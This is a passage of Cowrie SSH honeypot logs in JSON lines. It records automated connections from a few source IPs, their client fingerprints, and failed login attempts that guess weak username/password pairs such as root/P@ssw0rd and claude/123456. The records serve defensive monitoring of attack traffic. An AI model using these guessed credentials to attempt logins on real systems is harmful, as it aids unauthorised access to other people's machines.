ac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:35.927407Z","src_ip":"91.92.42.133","session":"49ba5a1f4163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:36.395487Z","src_ip":"91.92.42.133","session":"49ba5a1f4163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:37.516837Z","src_ip":"91.92.42.133","session":"49ba5a1f4163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47164,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dbb156a477a","protocol":"ssh","message":"New connection: 91.92.40.171:47164 (159.203.135.109:22) [session: 9dbb156a477a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:38.282972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:38.708883Z","src_ip":"91.92.40.171","session":"9dbb156a477a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:38.712533Z","src_ip":"91.92.40.171","session":"9dbb156a477a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:40.063349Z","src_ip":"91.92.40.171","session":"9dbb156a477a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:40.289735Z","src_ip":"91.92.40.171","session":"9bc3d38dc03c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:41.274247Z","src_ip":"91.92.40.171","session":"9dbb156a477a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:42.143410Z","src_ip":"91.92.40.171","session":"9bc3d38dc03c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39620,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd2262776cbc","protocol":"ssh","message":"New connection: 91.92.42.133:39620 (159.203.135.109:22) [session: cd2262776cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:43.405416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:43.722141Z","src_ip":"91.92.42.133","session":"cd2262776cbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:43.726837Z","src_ip":"91.92.42.133","session":"cd2262776cbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47198,"dst_ip":"159.203.135.109","dst_port":22,"session":"f99ba8399271","protocol":"ssh","message":"New connection: 91.92.40.171:47198 (159.203.135.109:22) [session: f99ba8399271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:44.299551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:44.471015Z","src_ip":"91.92.40.171","session":"f99ba8399271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:44.474160Z","src_ip":"91.92.40.171","session":"f99ba8399271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:45.208369Z","src_ip":"91.92.40.171","session":"f99ba8399271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:45.311501Z","src_ip":"91.92.42.133","session":"cd2262776cbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:46.460746Z","src_ip":"91.92.40.171","session":"f99ba8399271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:46.830734Z","src_ip":"91.92.42.133","session":"cd2262776cbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":55866,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0b25321ba0d","protocol":"ssh","message":"New connection: 103.27.238.120:55866 (159.203.135.109:22) [session: e0b25321ba0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:51.317933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:51.321396Z","src_ip":"103.27.238.120","session":"e0b25321ba0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":38214,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ab4ab2649ca","protocol":"ssh","message":"New connection: 91.92.40.171:38214 (159.203.135.109:22) [session: 9ab4ab2649ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:51.500377Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:51.572010Z","src_ip":"103.27.238.120","session":"e0b25321ba0d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:51.604554Z","src_ip":"91.92.40.171","session":"9ab4ab2649ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60694,"dst_ip":"159.203.135.109","dst_port":22,"session":"f71b9804c9a4","protocol":"ssh","message":"New connection: 91.92.42.133:60694 (159.203.135.109:22) [session: f71b9804c9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:51.912364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:51.922865Z","src_ip":"91.92.42.133","session":"f71b9804c9a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:52.032968Z","src_ip":"91.92.42.133","session":"f71b9804c9a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:52.043531Z","src_ip":"91.92.40.171","session":"9ab4ab2649ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gtagta","message":"login attempt [root/gtagta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:52.328892Z","src_ip":"103.27.238.120","session":"e0b25321ba0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:52.545982Z","src_ip":"91.92.42.133","session":"f71b9804c9a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:53.583622Z","src_ip":"103.27.238.120","session":"e0b25321ba0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:53.692612Z","src_ip":"91.92.42.133","session":"f71b9804c9a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:55.101210Z","src_ip":"91.92.40.171","session":"9ab4ab2649ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:57.144552Z","src_ip":"91.92.40.171","session":"9ab4ab2649ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":38252,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa49568c1472","protocol":"ssh","message":"New connection: 91.92.40.171:38252 (159.203.135.109:22) [session: aa49568c1472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:58.239927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:58.309989Z","src_ip":"91.92.40.171","session":"aa49568c1472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40534,"dst_ip":"159.203.135.109","dst_port":22,"session":"913db44eeaf2","protocol":"ssh","message":"New connection: 91.92.42.133:40534 (159.203.135.109:22) [session: 913db44eeaf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:59.067118Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:59.206553Z","src_ip":"91.92.40.171","session":"aa49568c1472","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:59.211488Z","src_ip":"91.92.42.133","session":"913db44eeaf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:59.214027Z","src_ip":"91.92.42.133","session":"913db44eeaf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:00.844390Z","src_ip":"91.92.42.133","session":"913db44eeaf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":38306,"dst_ip":"159.203.135.109","dst_port":22,"session":"57fc08669e40","protocol":"ssh","message":"New connection: 91.92.40.171:38306 (159.203.135.109:22) [session: 57fc08669e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:02.164334Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:02.278795Z","src_ip":"91.92.42.133","session":"913db44eeaf2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:02.354285Z","src_ip":"91.92.40.171","session":"57fc08669e40","protocol":"ssh"}
